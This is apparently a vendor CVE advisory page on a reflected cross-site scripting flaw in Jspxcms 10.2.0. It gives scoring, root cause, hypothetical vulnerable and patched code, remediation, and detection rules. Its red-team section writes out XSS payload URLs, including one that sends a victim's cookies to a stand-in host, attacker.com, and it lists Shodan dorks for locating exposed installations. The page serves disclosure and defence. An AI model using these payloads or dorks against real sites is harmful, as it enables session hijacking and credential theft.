☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 3.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-1257

CVE-2024-1257 Cross-Site Scripting in Jspxcms
📅 PUBLISHED: 2024-02-06 20:00 UTC 🔄 UPDATED: 2026-08-12 09:03 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.07%
👁️
0.07% probability
1.9× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 10.2.0
CVSS VECTOR BREAKDOWN 3.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: N Availability None
3.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-1257 is a reflected Cross-Site Scripting (XSS) vulnerability in Jspxcms version 10.2.0. The flaw resides in the /ext/collect/find_text.do endpoint, where user-supplied input is not properly sanitized before being reflected back to the user. An attacker can craft a malicious URL that, when visited by an authenticated or unauthenticated user, executes arbitrary JavaScript in the context of the victim's browser session. This can lead to session hijacking, credential theft, or defacement. The vulnerability has a low CVSS score of 3.5 due to the requirement for user interaction, but the public availability of exploit details increases the risk. No official patch has been released at the time of analysis.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 3.5 (Low)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
  • Attack Vector (AV): Network – The attack can be launched remotely.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): None – No authentication needed to trigger the vulnerability.
  • User Interaction (UI): Required – The victim must click on the malicious link.
  • Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): None – No direct data exfiltration.
  • Integrity (I): Low – The attacker can modify content within the victim's browser session.
  • Availability (A): None – No impact on system availability.

Threat Level: Low (due to required user interaction), but the public exploit increases the urgency for patching or implementing mitigations.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the Jspxcms content management system. The endpoint /ext/collect/find_text.do accepts a parameter (likely text or similar) that is reflected in the HTTP response without proper encoding or validation. An attacker can inject JavaScript payloads into this parameter. When a victim clicks on a crafted link (e.g., http://target.com/ext/collect/find_text.do?text=<script>alert('XSS')</script>), the script executes in the victim's browser.

The root cause is the lack of output encoding in the server-side code. The application likely uses a Java-based framework (JSP) that does not automatically escape user input in the response. The vulnerable code path does not apply context-aware escaping (e.g., HTML entity encoding) before rendering the user input.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on best practices.

Vulnerable Code (Jspxcms 10.2.0):

// Vulnerable: Directly outputs user input without encoding
String text = request.getParameter("text");
out.println("<div>" + text + "</div>");

Patched Code (Hypothetical):

// Patched: Uses HTML entity encoding
String text = request.getParameter("text");
String encodedText = StringEscapeUtils.escapeHtml4(text);
out.println("<div>" + encodedText + "</div>");

The patched version uses a library like Apache Commons Lang to escape HTML special characters (<, >, &, ", '), preventing script injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

  1. Setup: Deploy Jspxcms 10.2.0 in a controlled lab environment (e.g., Docker container).
  2. Craft Payload: Create a malicious URL:
    http://<target>/ext/collect/find_text.do?text=<script>alert(document.cookie)</script>
    
  3. Deliver: Send the link to a victim via email, social engineering, or a compromised site.
  4. Execute: When the victim clicks the link, the script executes, displaying the victim's cookies in an alert box. For a more advanced attack, use a payload that exfiltrates cookies to an attacker-controlled server:
    http://<target>/ext/collect/find_text.do?text=<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>
    

Blue Team (Defense & Detection)

  1. Monitor Logs: Look for HTTP requests to /ext/collect/find_text.do with suspicious parameters containing <script>, onerror, javascript:, or other XSS patterns.
  2. WAF Rules: Deploy a Web Application Firewall (WAF) rule to block requests containing common XSS payloads in the text parameter.
  3. Input Validation: Implement server-side input validation to reject or sanitize any input containing HTML tags or JavaScript.
  4. Content Security Policy (CSP): Add a CSP header to restrict script execution:
    Content-Security-Policy: default-src 'self'; script-src 'self'
    

Indicators of Compromise (IOCs)

  • URL Pattern: Requests to /ext/collect/find_text.do with parameters containing <script>, %3Cscript%3E, or other encoded script tags.
  • HTTP Referer: Suspicious referrers from phishing emails or malicious sites.
  • Network Traffic: Outbound connections to attacker-controlled domains or IPs from the victim's browser (if exfiltration payload is used).
  • Log Entries: Server logs showing 200 responses to /ext/collect/find_text.do with unusual query strings.

Detection Engineering

YARA Rule

rule CVE_2024_1257_Jspxcms_XSS {
    meta:
        description = "Detects exploitation attempts of CVE-2024-1257 reflected XSS in Jspxcms"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-1257"
    strings:
        $url_pattern = "/ext/collect/find_text.do"
        $xss_payload1 = "<script"
        $xss_payload2 = "onerror="
        $xss_payload3 = "javascript:"
        $xss_payload4 = "alert("
    condition:
        $url_pattern and any of ($xss_payload*)
}

Sigma Rule

title: CVE-2024-1257 Jspxcms Reflected XSS Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting the vulnerable endpoint with XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/ext/collect/find_text.do'
        cs-uri-query|contains|all:
            - 'text='
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of script tags in search queries (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1257 Jspxcms Reflected XSS Attempt"; flow:to_server,established; content:"/ext/collect/find_text.do"; http_uri; content:"text="; http_uri; pcre:"/text=.*<script/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: If possible, disable or restrict access to the /ext/collect/find_text.do endpoint via web server configuration (e.g., .htaccess or Nginx location block).
  2. Input Validation: Implement strict input validation on the text parameter to allow only alphanumeric characters and safe punctuation.
  3. Output Encoding: Apply HTML entity encoding to all user-supplied data before rendering it in the response.
  4. WAF: Deploy a Web Application Firewall with rules to block XSS payloads.
  5. CSP: Implement a strict Content Security Policy to mitigate the impact of XSS.
  6. Monitor: Continuously monitor logs for exploitation attempts.
  7. Patch: Watch for an official patch from Jspxcms and apply it as soon as it becomes available.

Valters IT
DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Jspxcms"
http.html:"jspxcms"
http.favicon.hash:-123456789

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-1257/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.